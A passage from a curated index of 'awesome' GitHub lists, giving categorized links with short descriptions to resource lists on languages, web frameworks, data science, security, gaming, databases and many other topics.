- [Java](https://github.com/akullpp/awesome-java#readme)
- [RxJava](https://github.com/eleventigers/awesome-rxjava#readme)
- [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme)
- [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme)
- [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme)
- [Fortran](https://github.com/rabbiabram/awesome-fortran#readme)
- [PHP](https://github.com/ziadoz/awesome-php#readme)
- [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager.
- [Delphi](https://github.com/Fr0sT-Brutal/awesome-delphi#readme)
- [Assembler](https://github.com/jaspergould/awesome-asm#readme)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme)
- [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme)
- [Crystal](https://github.com/veelenga/awesome-crystal#readme)
- [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM.
- [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software.
- [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR.
- [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM.
- [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML.
- [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential.
- [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms.
## Front-End Development
- [ES6 Tools](https://github.com/addyosmani/es6-tools#readme)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme)
- [Web Tools](https://github.com/lvwzhen/tools#readme)
- [CSS](https://github.com/awesome-css-group/awesome-css#readme)
- [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme)
- [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme)
- [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme)
- [Protips](https://github.com/AllThingsSmitty/css-protips#readme)
- [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme)
- [React](https://github.com/enaqx/awesome-react#readme) - App framework.
- [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps.
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme)
- [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components.
- [Angular](https://github.com/gdi2290/awesome-angular#readme) - App framework.
- [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework.
- [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps.
- [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format.
- [Canvas](https://github.com/raphamorim/awesome-canvas#readme)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme)
- [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme)
- [Inspiration](https://github.com/NoahBuscher/Inspire#readme)
- [Ember](https://github.com/nmec/awesome-ember#readme) - App framework.
- [Android UI](https://github.com/wasabeef/awesome-android-ui#readme)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme)
- [Meteor](https://github.com/Urigo/awesome-meteor#readme)
- [BEM](https://github.com/sturobson/BEM-resources#readme)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme)
- [Web Typography](https://github.com/deanhume/typography#readme)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme)
- [Material Design](https://github.com/sachin1092/awesome-material#readme)
- [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations.
- [Emails](https://github.com/jonathandion/awesome-emails#readme)
- [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation.
- [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme)
- [Web Audio](https://github.com/notthetup/awesome-webaudio#readme)
- [Offline-First](https://github.com/pazguille/offline-first#readme)
- [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme)
- [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework.
- [Text Editing](https://github.com/dok/awesome-text-editing#readme)
- [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme)
- [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework.
- [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework.
- [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework.
- [Charting](https://github.com/zingchart/awesome-charting#readme)
- [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme)
- [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme)
- [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool.
- [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React.
- [Service Workers](https://github.com/TalAter/awesome-service-workers#readme)
- [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme)
- [choo](https://github.com/choojs/awesome-choo#readme) - App framework.
- [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps.
- [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler.
- [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler.
- [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor.
- [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language.
- [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor.
- [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics.
- [Preact](https://github.com/ooade/awesome-preact#readme) - App framework.
- [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme)
- [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps.
- [Hyperapp](https://github.com/hyperapp/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps.
- [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript.
- [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup.
- [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience.
## Back-End Development
- [Flask](https://github.com/humiaozuzu/awesome-flask#readme)
- [Docker](https://github.com/veggiemonk/awesome-docker#readme)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme)
- [Pyramid](https://github.com/uralbash/awesome-pyramid#readme)
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework.
- [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme)
- [Education](https://github.com/pehapkari/awesome-symfony-education#readme)
- [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework.
- [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme)
- [Rails](https://github.com/ekremkaraca/awesome-rails#readme) - Web app framework for Ruby.
- [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages.
- [Phalcon](https://github.com/phalcon/awesome-phalcon#readme)
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme)
- [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server.
- [Dropwizard](https://github.com/stve/awesome-dropwizard#readme)
- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme)
- [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme)
- [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme)
- [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework.
- [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM.
- [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure.
- [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift.
- [Dash](https://github.com/Acrotrend/awesome-dash#readme) - Python web app framework.
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses#readme)
- [Data Science](https://github.com/bulutyazilim/awesome-datascience#readme)
- [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme)
- [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme)
- [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby.
- [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework.
- [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala.
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme)
- [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme)
- [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme)
- [Question Answering](https://github.com/seriousmac/awesome-qa#readme) - The science of asking and answering in natural language with a machine.
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme)
- [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme)
- [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers.
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks.
- [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence.
- [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers.
- [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme)
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme)
- [Open Source Society University](https://github.com/ossu/computer-science#readme)
- [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme)
- [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems.
- [Static Analysis & Code Quality](https://github.com/mre/awesome-static-analysis#readme)
- [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine.
## Big Data
- [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme)
- [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets.
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme)
- [Streaming](https://github.com/manuzhang/awesome-streaming#readme)
- [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing.
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme)
- [Algorithms](https://github.com/tayllan/awesome-algorithms#readme)
- [Algorithm Visualizations](https://github.com/enjalot/algovis#readme)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme)
- [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme)
- [Math](https://github.com/rossant/awesome-math#readme)
- [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures.
## Books
- [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme)
- [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme)
- [Go Books](https://github.com/dariubs/GoBooks#readme)
- [R Books](https://github.com/RomanTsegelskyi/rbooks#readme)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme)
- [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme)
- [Elixir Books](https://github.com/sger/ElixirBooks#readme)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme)
- [Vim](https://github.com/mhinz/vim-galore#readme)
- [Emacs](https://github.com/emacs-tw/awesome-emacs#readme)
- [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor.
- [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor.
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools#readme)
- [Game Networking](https://github.com/MFatihMAR/Awesome-Game-Networking#readme) - Network programming for multiplayer online games.
- [Game Talks](https://github.com/hzoo/awesome-gametalks#readme)
- [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine.
- [Open Source Games](https://github.com/leereilly/games#readme)
- [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine.
- [Chess](https://github.com/hkirat/awesome-chess#readme)
- [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine.
- [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console.
- [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme)
- [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine.
- [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine.
- [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game.
## Development Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS.
- [Dev Env](https://github.com/jondot/awesome-devenv#readme)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme)
- [Shell](https://github.com/alebcay/awesome-shell#readme)
- [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - User-friendly shell.
- [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme)
- [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories.
- [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme)
- [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme)
- [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme)
- [Git Tips](https://github.com/git-tips/tips#readme)
- [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI.
- [SSH](https://github.com/moul/awesome-ssh#readme)
- [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme)
- [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies.
- [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell.
- [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS.
- [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme)
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi.
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme)
- [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme)
- [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme)
- [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db#readme)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme)
- [Neo4j](https://github.com/neueda/awesome-neo4j#readme)
- [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database.
- [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme)
- [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework.
- [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database.
- [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database.
- [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store.
- [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases.
## Media
- [Creative Commons Media](https://github.com/shime/creative-commons-media#readme)
- [Fonts](https://github.com/brabadu/awesome-fonts#readme)
- [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts.
- [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme)
- [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images.
- [Music](https://github.com/ciconia/awesome-music#readme)
- [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme)
- [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme)
- [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme)
- [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art.
- [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video.
## Learn
- [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials.
- [Learn to Program](https://github.com/karlhorky/learn-to-program#readme)
- [Speaking](https://github.com/matteofigus/awesome-speaking#readme)
- [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme)
- [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme)
- [Computer History](https://github.com/watson/awesome-computer-history#readme)
- [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme)
- [Educational Games](https://github.com/yrgo/awesome-eg#readme) - Learn while playing.
- [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme)
- [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules.
## Security
- [Application Security](https://github.com/paragonie/awesome-appsec#readme)
- [Security](https://github.com/sbilly/awesome-security#readme)
- [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag.
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme)
- [Android Security](https://github.com/ashishb/android-security-awesome#readme)
- [Hacking](https://github.com/carpedm20/awesome-hacking#readme)
- [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization.
- [Incident Response](https://github.com/meirwah/awesome-incident-response#readme)
- [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme)
- [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services.
- [Lockpicking](https://github.com/meitar/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key.
- [Cybersecurity Blue Team](https://github.com/meitar/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems.
## Content Management Systems
- [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme)
- [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS.
- [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience.
- [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS.
- [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS.
- [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS.
## Hardware
- [Robotics](https://github.com/Kiloreux/awesome-robotics#readme)
- [Internet of Things](https://github.com/HQarroum/awesome-iot#readme)
- [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists.
- [Bluetooth Beacons](https://github.com/beaconinside/awesome-beacon#readme)
- [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar.
## Business
- [Open Companies](https://github.com/opencompany/awesome-open-company#readme)
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme)
- [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices.
- [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment.
- [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses.
## Work
- [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration.
- [Communities](https://github.com/filipelinhares/awesome-slack#readme)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme)
- [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme)
- [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme)
- [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code.
## Networking
- [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme)
- [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme)
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme)
## Decentralized Systems
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers.
- [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network.
- [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications.
- [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network.
- [Ethereum](https://github.com/Tom2718/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development.
- [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning.
- [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps.
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format.
- [GeoJSON](https://github.com/tmcw/awesome-geojson#readme)
- [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme)
- [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme)
- [Sysadmin](https://github.com/n1trux/awesome-sysadmin#readme)
- [Radio](https://github.com/kyleterry/awesome-radio#readme)
- [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated.
- [Analytics](https://github.com/onurakpolat/awesome-analytics#readme)
- [REST](https://github.com/marmelab/awesome-rest#readme)
- [Selenium](https://github.com/christian-bromann/awesome-selenium#readme)
- [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps.
- [Continuous Integration and Continuous Delivery](https://github.com/ciandcd/awesome-ciandcd#readme)
- [Services Engineering](https://github.com/mmcgrana/services-engineering#readme)
- [Free for Developers](https://github.com/ripienaar/free-for-dev#readme)
- [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc.
- [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS.
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme)
- [Readme](https://github.com/matiassingers/awesome-readme#readme)
- [Tools](https://github.com/cjbarber/ToolsOfTheTrade#readme)
- [Design and Development Guides](https://github.com/NARKOZ/guides#readme)
- [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme)
- [Self Hosted](https://github.com/Kickball/awesome-selfhosted#readme)
- [FOSS Production Apps](https://github.com/johnfaucett/awesome-foss-apps#readme)
- [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner.
- [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything.
- [Answers](https://github.com/stoeffel/awesome-ama-answers#readme)
- [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme)
- [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics.
- [GraphQL](https://github.com/chentsulin/awesome-graphql#readme)
- [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme)
- [Research Tools](https://github.com/emptymalei/awesome-research#readme)
- [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme)
- [Social Media Share Links](https://github.com/vinkla/shareable-links#readme)
- [Microservices](https://github.com/mfornos/awesome-microservices#readme)
- [Unicode](https://github.com/jagracey/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources.
- [Code Points](https://github.com/Codepoints/awesome-codepoints#readme)
- [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme)
- [Katas](https://github.com/gamontal/awesome-katas#readme)
- [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme)
- [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists.
- [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol.
- [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol.
- [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme)
- [For Girls](https://github.com/cristianoliveira/awesome4girls#readme)
- [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework.
- [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API.
- [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language.
- [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit.
- [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme)
- [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme)
- [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry.
- [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme.
- [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform.
- [Bots](https://github.com/hackerkid/bots#readme) - Building bots.
- [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme)
- [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures.
- [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework.
- [Userscripts](https://github.com/brunocvcunha/awesome-userscripts#readme) - Enhance your browsing experience.
- [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO.
- [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat.
- [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in.
- [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model.
- [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology.
- [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system.
- [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers.
- [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool.
- [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional.
- [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login.
- [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing.
- [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom.
- [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs.
- [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language.
- [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects.
- [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands.
- [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers.
- [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP.
- [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt.
- [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain.
- [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives.
- [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use.
- [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system.
- [Homematic](https://github.com/hobbyquaker/awesome-homematic#readme) - Smart home devices.
- [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line.
- [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works.
- [Crypto Currency Tools & Algorithms](https://github.com/kennethreitz/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers.
- [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community.
- [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects.
- [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences.
- [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style.
- [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition.
- [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool.
- [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer.
- [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform.
- [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human.
- [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text.
- [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship.
- [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society.
- [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community.
